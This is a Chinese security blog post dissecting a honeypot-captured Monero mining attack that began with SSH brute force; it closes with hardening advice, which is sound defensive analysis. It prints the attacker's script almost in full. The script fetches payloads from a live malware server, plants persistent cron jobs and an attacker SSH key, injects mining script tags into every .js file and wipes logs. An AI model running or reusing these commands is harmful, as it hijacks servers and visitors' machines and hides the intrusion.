前言

数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗肉鸡CPU/GPU资源,网页挖矿程序耗访问肉鸡服务器JS 网页的客户端资源 。

2018年10月11日,攻击者使用恶意IP(223.89.72.8)暴力破解Victim的SSH服务成功,获取系统账号权限。

2)关闭Victim的防火墙

通过暴力破解获得的账号登录Victim并,进入工作目录/tmp,并尝试关闭主机防火墙。

root@victim:~#cd/tmp
root@victim:~#/etc/init.d/iptablesstop
root@victim:~#serviceiptablesstop
root@victim:~#SuSefirewall2stop
root@victim:~#reSuSefirewall2stop
 3)下载恶意脚本

命令Victim从Malware Server(140.143.35.89:43768)下载恶意文件shz.sh:

root@victim:/tmp#wgethttp://140.143.35.89:43768/shz.sh
[4l--2018-10-1119:07:34--http://140.143.35.89:43768/shz.sh
Connectingto140.143.35.89:43768...connected.
HTTPrequestsent,awaitingresponse...200OK
Length:7470(7K)[application/octet-stream]
Savingto:`/tmp/shz.sh'
58%[======================>]4,38041K/seta0s
100%[======================================>]7,47041K/s
2018-10-**:*:*(41KB/s)-`/tmp/shz.sh'saved[7470/7470]
 二、执行恶意脚本

获取Victim肉鸡权限及下载恶意脚本后,命令Victim执行/tmp/shz.sh,下面简析shz.sh的恶意行为。

1)开始执行 root@victim:/tmp#shshz.sh& 2)基本配置

获取Victim的定时Crontab定时任务文件及内容,SSH登录的公钥,更改下载文件命令及变量定义等基本配置。

#!/bin/sh
#Crontab定时任务(crontab-e)
crondir='/var/spool/cron/'"$USER"
cont=`cat${crondir}`
#SSH登录公钥
ssht=`cat/root/.ssh/authorized_keys`
#自定义变量
echo1>/etc/gmbpr
rtdir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
#更改命令名称
mv/usr/bin/wget/usr/bin/get
mv/usr/bin/curl/usr/bin/url
 3)判断账号权限(特殊权限)

如果文件/etc/gmbpr存在,即被暴力破解的账号有/etc写权限,一般root。设置工作目录为/etc:

if[-f"$rtdir"]

3.1 定时任务+无密登录

#将恶意脚本/etc/shz.sh加入系统crontab定时任务中
[[$cont=~"shz.sh"]]||echo"*****sh/etc/shz.sh>/dev/null2>&1">>${crondir}
#将攻击者的SSH登录公钥加入authorized_key中,用于无密登录ssh
[[$ssht=~"xvsRtqHLMWoh"]]||echo"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi
PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqH
LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq
gunZImJt+uLljgpP0ZHd1wGz+QSHEdAdministrator@Guess_me">>/root/.ssh/authorized_keys

3.2 恶意挖矿的配置文件

如果配置文件/etc/com.json不存在,则从http://140.143.35.89:43768/com.json下载至/etc/com.json。

cfg="/etc/com.json"
if[-f"$cfg"]
then
echo"existsconfig"
else
if[-f"$bbdir"]
then
curl--connect-timeout10--retry100http://140.143.35.89:43768/com.json>/et
c/com.json
elif[-f"$bbdira"]

/com.json
elif[-f"$ccdir"]

wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/com.json

fi
fi

3.3 ELF挖矿主程序

从http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下载恶意挖矿主程序zjgw至/etc。zjgw为elf格式的二进制文件。

if[-f"$bbdir"]

curl--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$bbdira"]

url--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$ccdir"]

wget--timeout=10--tries=100-P/etchttp://dwz.cn/hqCK3WKx

fi

3.4 运行恶意挖矿程序

挖矿程序zjgw+配置文件com.json:

chmod777zjgw
#com.json配置文件中将unknow替换成字符${ip}
sed-i"s/unknow/${ip}/g"com.json
sleep5s
#执行挖矿程序
./zjgw--config=com.json
#清除命令日志痕迹
history-c
echo>/root/.bash_history

3.5 下载并运行shz.sh脚本文件

shdir='/etc/shz.sh'
if[-f"$shdir"]

echo"existsshell"

curl--connect-timeout10--retry100http://140.143.35.89:43768/shz.sh>/etc/shz.sh

wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/shz.sh

sh/etc/shz.sh
fi
 4)判断账号权限(普通权限)

如果文件/etc/gmbpr不存在,即被暴力破解的账号是常规用户权限,添加启动脚本至Crontab定时任务中。设置工作目录为/tmp:

4.1)下载配置文件com.json至/tmp

4.2)下载挖矿主程序zjgw至/tmp

4.3)运行恶意挖矿程序+配置文件(同3.4)

4.4)下载并运行恶意脚本/tmp/shz.sh(同3.5)

5)Monero Javascript网页挖矿

在Victim全盘查找js文件,并插入网页挖矿JS脚本document.write(‘<script src=”http://t.cn/EvlonFh“></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);

find/-name'*.js'|xargsgrep-Lf4ce9|xargssed-i'$a\document.write\('\'\<script\src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\
>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
 6)清除痕迹

攻击者清除攻击日志痕迹

echo>/var/spool/mail/root
echo>/var/log/wtmp
echo>/var/log/secure
三、执行ELF挖矿程序 1)挖矿配置文件com.json

通过配置文件查看到XMR数字货币的挖矿算法、挖矿地址和钱包地址等:

{

#XMR门罗币的主要共识机制(挖矿算法):cryptonight

"algo":"cryptonight",

"api":{

"port":0,

"access-token":null,

"worker-id":null,

"ipv6":false,

"restricted":true

},

"av":0,

"background":true,

"colors":true,

"cpu-priority":5,

"donate-level":1,

"log-file":null,

"max-cpu-usage":90,

"pools":[

{

#挖矿地址

"url":"stratum+tcp://xmr.f2pool.com:13531",

#钱包地址

"user":

"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",

"pass":"x",

"keepalive":true,

"nicehash":false,

"variant":-1

],

"print-time":60,

"retries":99999,

"retry-pause":5,

"safe":false,

"syslog":false,

}

2)挖矿主程序zjgw

zjgw为64为的elf二进制文件,VirusTal检出功能包含了挖矿功能。

截止当前,攻击者恶意ELF程序使用f2pool矿池,上述钱包地址相关收益信息:

(1)164矿工正在线进行挖矿;

(2)共捕获254矿工;

(3)此钱包地址总收益4.7XMR,按当前市场价格736RMB价格计算,约收获3459RMB

(4)这些矿工,可能很多是攻击者捕获的肉鸡;攻击者也可能还有更多其他的钱包地址及肉鸡矿工即进行获益。

短网址指向https://xmr.omine.org/assets/v7.js

HTTP/1.1302Found
Date:Mon,15Oct201808:02:12GMT
Content-Type:text/html;charset=UTF-8
Content-Length:216
Connection:keep-alive
Set-Cookie:aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj;Path=/;HttpOnly
Server:nginx
Location:https://xmr.omine.org/assets/v7.js
 2)curl https://xmr.omine.org/assets/v7.js

javascript脚本文件,包含了矿池地址wss://xmr.ominie.org:8181:

假设攻击者的JS网页挖矿与ELF程序挖矿使用的同一个钱包46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此处收益相对较少,有0.037个XMR。

攻击者通过SSH暴力破解获取系统账号后,一方面通过下载及运行ELF二进制挖矿程序,利用系统CPU/GPU资源进行XMR(门罗币)挖矿;另一方面,通过在系统里面的JS文件中插入JS网页挖矿的代码,利用远程访问系统JS网页的客户端资源进行XMR网页挖矿。建议措施:

http://3g.163.com/dy/article/DUIH9G5O05119F6V.html

(1)账号加固;

(2)系统资源、网络、进程监控;

(3)检查系统是否有恶意资源滥用情况(ELF挖矿程序);

(4)检查系统是否有恶意JS网页挖矿脚本(网页挖矿脚本);

(5)其他

XMR恶意挖矿案例简析的更多相关文章

  1. XMR恶意挖矿脚本处理笔记

    一.登录 攻击者如何登录系统未能查出,所有日志已被清除.为防万一,把系统中没用的用户都删掉并修改其他用户密码. 二.被攻击后的表象 1.服务器资源被大量占用,资源占用率飙升: 2.服务器所有JS文件被 ...

  2. 网站被XMR恶意挖矿

    发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更 ...

  3. Web应急:门罗币恶意挖矿

    门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...

  4. 简析 __init__、__new__、__call__ 方法

    简析 __init__.__new__.__call__ 方法 任何事物都有一个从创建,被使用,再到消亡的过程,在程序语言面向对象编程模型中,对象也有相似的命运:创建.初始化.使 用.垃圾回收,不同的 ...

  5. Kworkerd恶意挖矿分析

    转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立 ...

  6. DiskGenius注册算法简析

    初次接触DiskGenius已经成为遥远的记忆,那个时候还只有DOS版本.后来到Windows版,用它来处理过几个找回丢失分区的案例,方便实用.到现在它的功能越来越强大,成为喜好启动技术和桌面支持人员 ...

  7. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  8. CGLib 简析

    背景 JDK 动态代理存在的一些问题: 调用效率低 JDK 通过反射实现动态代理调用,这意味着低下的调用效率: 每次调用 Method.invoke() 都会检查方法的可见性.校验参数是否匹配,过程涉 ...

  9. 简析.NET Core 以及与 .NET Framework的关系

    简析.NET Core 以及与 .NET Framework的关系 一 .NET 的 Framework 们 二 .NET Core的到来 1. Runtime 2. Unified BCL 3. W ...

随机推荐

  1. 【MySQL8】 安装后的简单配置(主要解决navicat等客户端登陆报错问题)

    一.navicat等客户端登陆报错的原因 使用mysql,多数我们还是喜欢用可视化的客户端登陆管理的,个人比较喜欢用navicat.一般装好服务器以后,习惯建一个远程的登陆帐号,在mysql8服务器上 ...

  2. css笔记 - 张鑫旭css课程笔记之 z-index 篇

    一.z-index语法.支持的属性值等 z-index: 在支持z-index的元素上, z-index规定了元素(包括子元素)的垂直z方向的层级顺序, z-index可以决定哪个元素覆盖在哪个元素上 ...

  3. 关于array.sort(array,array)

    // 基于第一个 System.Array 中的关键字,使用每个关键字的 System.IComparable 实现,对两个一维 System.Array // 对象(一个包含关键字,另一个包含对应的 ...

  4. win7 默认程序设置

    1. . 2. 3. 4. 双击某个程序-->选择浏览 目标程序 .即可完成

  5. Spark学习笔记--Linux安装Spark集群详解

    本文主要讲解如何在Linux环境下安装Spark集群,安装之前我们需要Linux已经安装了JDK和Scala,因为Spark集群依赖这些.下面就如何安装Spark进行讲解说明. 一.安装环境 操作系统 ...

  6. [转]centos6 与 7 其中的一些区别

    # vi /etc/ssh/sshd_config #将MaxAuthTries注释去掉 MaxAuthTries 5(登录次数) UseDNS no   默认是yes 的,把这个改为no,可以大大减 ...

  7. Json.NET Deserialize时如何忽略$id等特殊属性

    由于$id.$ref等是默认Json.NET的特殊属性,在反序列化时不会将其对应的值填充,例如: [DataContract] public class MyObject { [DataMember( ...

  8. 【BZOJ1187】[HNOI2007]神奇游乐园 插头DP

    [BZOJ1187][HNOI2007]神奇游乐园 Description 经历了一段艰辛的旅程后,主人公小P乘坐飞艇返回.在返回的途中,小P发现在漫无边际的沙漠中,有一块狭长的绿地特别显眼.往下仔细 ...

  9. dhroid - ioc高级(接口,对象注入)

    下面到了接口对象的注入了解冻吧,现在才是我们的重点,这才是ioc的核心思想,上面的都是android的辅助1.5 对象依赖问题 我们先来将一下对象对象依赖的重要性,很多同学可能只学了android没学 ...

  10. windows下java开发资料汇总

    开发环境搭建:   (1) java开发环境配置    (2) maven环境快速搭建        项目部署:   (1) Eclipse中项目部署方法   (2) 使用Eclipse构建Maven ...